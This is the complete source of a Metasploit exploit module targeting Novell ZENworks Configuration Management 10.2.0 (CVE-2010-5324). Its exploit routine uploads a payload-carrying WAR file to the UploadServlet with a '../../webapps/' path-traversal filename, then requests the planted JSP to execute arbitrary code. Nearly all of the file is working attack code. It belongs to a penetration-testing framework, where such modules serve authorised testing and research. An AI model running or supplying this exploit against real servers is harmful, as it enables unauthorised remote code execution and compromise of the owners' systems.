rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
      'Description' => %q{
          This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
        By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
        and then make a secondary request that allows for arbitrary code execution.
      },
      'Author'      => [ 'MC' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2010-5324' ],
          [ 'OSVDB', '63412' ],
          [ 'BID', '39114' ],
          [ 'ZDI', '10-078' ],
          [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005573' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ],
          [ 'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux x86', # should work but untested
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-03-30'))
  end

  def exploit

    # Generate the WAR containing the EXE containing the payload
    app_base = rand_text_alphanumeric(4+rand(32-4))
    jsp_name = rand_text_alphanumeric(8+rand(8))

    war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

    res = send_request_cgi({
      'uri'       => '/zenworks/UploadServlet',
      'method'    => 'POST',
      'data'      => war_data,
      'headers'   => {
        'Content-Type' => 'application/octet-stream',
      },
      'encode_params' => false,
      'vars_get'  => {
        'filename' => "../../webapps/#{app_base}.war"
      }
    })

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    select(nil, nil, nil, 20)

    if (res && res.code == 200)
      print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
        send_request_raw(
          {
            'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
            'method' => 'GET',
          })
    else
      print_error("Denied...")
    end

    handler
  end
end